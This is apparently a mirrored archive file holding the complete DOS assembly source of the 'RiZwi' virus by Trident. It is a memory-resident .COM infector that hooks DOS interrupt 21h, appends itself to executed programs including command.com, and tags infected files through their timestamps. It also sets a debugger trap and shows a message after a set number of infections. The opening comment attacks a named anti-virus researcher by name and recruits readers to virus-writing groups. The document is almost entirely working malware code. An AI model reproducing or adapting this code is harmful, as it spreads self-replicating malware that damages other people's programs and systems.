mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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257 lines
7.1 KiB
Plaintext
257 lines
7.1 KiB
Plaintext
;
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; RiZwi Virus by John Tardy / Trident V1.1
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;
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; This is a tom-resident .com infector, including command.com. it attaches
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; itself at the eof. when the generation counter is between 200 and 240, a
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; timer counter will be started. when it reached 5000 hex ticks, it will
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; display a message with black chars and a red background in the upper corner.
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; The message says an important fact of Righard Zwienenberg, who is known in
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; The Netherlands as a anti-virus researcher. In fact, he did release a virus,
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; named "DUTCH-555". I know he did it accidentally, but you should do it. You
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; have to be on just one side, virus or antivirus. If you can't choose, then
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; stop with computing. If you choose, I hope you choose our side. It has more
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; possibilities and with your capabilities your virii could be well-known
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; (look at the VSUM for your ratings). Maybe you even choose to be part of
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; [NUkE] or Phalcon/Skism or even Trident.
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;
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; This is a bug-fix of V1.0, which kept the original interupt in the main
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; program, thus simply hanging. This one has also a little debugger trap.
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Org 100h
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Prg: Call On1
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On1: Pop Bp
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Sub Bp,On1
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Mov Ah,30h
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Int 21h
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Cmp Bx,'BC'
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Je Tooz
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Mov Ah,2ah
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Int 21h
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In Al,21h
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Cmp Cx,1993
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Ja MakeRes
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Cmp Dh,4
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Ja MakeRes
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Tooz: Jmp DoCom
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MakeRes: Or Al,02h
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Push Ax
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Mov Ax,351ch
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Int 21h
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Mov Word Ptr Cs:Old1c[0][Bp],Bx
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Mov Word Ptr Cs:Old1c[2][Bp],es
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Pop Ax
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Out 21h,Al
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CutIt: Mov Ax,3521h
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Int 21h
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Mov Word Ptr Cs:Old21[0][Bp],Bx
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Mov Word Ptr Cs:Old21[2][Bp],Es
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In Al,21h
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And Al,2
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Push Ax
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Mov Ax,Cs
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Dec Ax
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Mov Ds,Ax
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Cmp Byte Ptr Ds:[0],'Z'
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Jne DoCom
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Sub Word Ptr Ds:[3],PrgPar
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Sub Word Ptr Ds:[12h],PrgPar
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Lea Si,Prg[Bp]
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Mov Di,100h
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Pop Ax
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Cmp Al,2
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Jne CutIt
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Mov Ax,Word Ptr Ds:[12h]
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Sub Ax,10h
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Mov Es,Ax
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Mov Cx,PrgLen
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Push Cs
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Pop Ds
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Rep Movsb
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In Al,21h
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Xor Al,2
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Mov Ds,Es
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Out 21h,Al
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Mov Ax,251ch
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Lea Dx,New1c
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Int 21h
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Mov Ax,2521h
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Lea Dx,New21
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Int 21h
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DoCom: Push Cs
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Pop Ds
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Mov Es,Ds
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Mov Di,100h
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Push Di
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Lea Si,OrgPrg[Bp]
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Movsw
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Movsb
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Ret
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OrgPrg DB 0CDh,020h
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DB '<27>'
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Db '[TridenT]'
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Dos: Pushf
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Call Dword Ptr Cs:[Old21]
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Ret
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Db '{V1.1 Bugfix}'
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Old21 DD 0
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New21: Cmp Ax,4b00h
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Je Exec
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Cmp Ah,30h
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Jne EOI
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Call Dos
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Mov Bx,'BC'
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Iret
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EOI: Jmp Dword Ptr Cs:[Old21]
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Exec: Push Ax
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Push Bx
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Push Cx
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Push Dx
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Push Si
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Push Di
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Push Ds
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Push Es
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Push Bp
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Push Ds
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Push Dx
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Mov Ax,4300h
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Call Dos
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Mov FAttr,Cx
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Xor Cx,Cx
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Mov Ax,4301h
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Call Dos
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Mov Ax,3d02h
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Call Dos
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Mov FHandle,Ax
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Xchg Ax,Bx
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Mov Ax,5700h
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Call Dos
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Mov Word Ptr Cs:[FTime],Cx
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Mov Word Ptr Cs:[FDate],Dx
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And Cx,1fh
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Cmp Cx,1fh
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Jne DoMore
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Close: Mov Ah,3eh
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Call Dos
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Pop Dx
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Pop Ds
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Mov Cx,FAttr
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Mov Ax,4301h
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Call Dos
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Jmp ShutDown
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DoMore: Mov Ah,3fh
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Push Cs
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Pop Ds
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Lea Dx,OrgPrg
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Mov Cx,3
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Call Dos
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Cmp Word Ptr Cs:[OrgPrg],'MZ'
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Je Close
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Cmp Word Ptr Cs:[OrgPrg],'ZM'
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Je Close
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Mov Ax,4202h
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Xor Cx,Cx
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Xor Dx,Dx
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Call Dos
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Sub Ax,3
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Mov Jump,Ax
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Mov Ah,40h
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Lea Dx,Prg
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Mov Cx,PrgLen
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Call Dos
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Mov Ax,4200h
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Xor Cx,Cx
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Xor Dx,Dx
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Call Dos
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Mov Ah,40h
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Lea Dx,Start
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Mov Cx,3
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Call Dos
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Mov Ax,5701h
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Mov Cx,FTime
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Mov Dx,FDate
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Or Cx,1fh
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Call Dos
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Inc Byte Ptr Cs:[FileCount]
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Jmp Close
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ShutDown: Pop Bp
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Pop Es
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Pop Ds
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Pop Di
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Pop Si
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Pop Dx
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Pop Cx
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Pop Bx
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Pop Ax
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Jmp EOI
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Old1c DD 0
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New1c: pushf
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push ax
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push cx
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push si
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push di
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push ds
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push es
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Cmp Byte Ptr Cs:[FileCount],200
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Jb EOI16
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Cmp Byte Ptr Cs:[FileCount],240
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Ja EOI16
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Cmp Word Ptr Cs:[ActCount],5000h
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Je Activate
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Inc Word Ptr Cs:[ActCount]
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Jmp EOI16
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Activate:
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Mov Ds,Cs
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Mov Ax,0b800h
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Mov Es,Ax
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Lea Si,ScrMsg
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Mov Di,160
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Sub Di,ScrLen
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Mov Cx,ScrLen
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Rep MovSb
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EOI16: pop es
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pop ds
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pop di
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pop si
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pop cx
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pop ax
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popf
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iret
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ScrMsg Db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnObOeOrOgO OmOaOdOeO OtOhOeO ODOUOTOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O O'
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ScrLen Equ $-ScrMsg
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FileCount Db 0
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ActCount Dw 0
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Start Db 0e9h
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Jump Dw 0
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FAttr Dw 0
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FHandle Dw 0
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FDate Dw 0
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FTime Dw 0
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PrgLen Equ $-Prg
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PrgPar Equ (PrgLen+0fh)/16
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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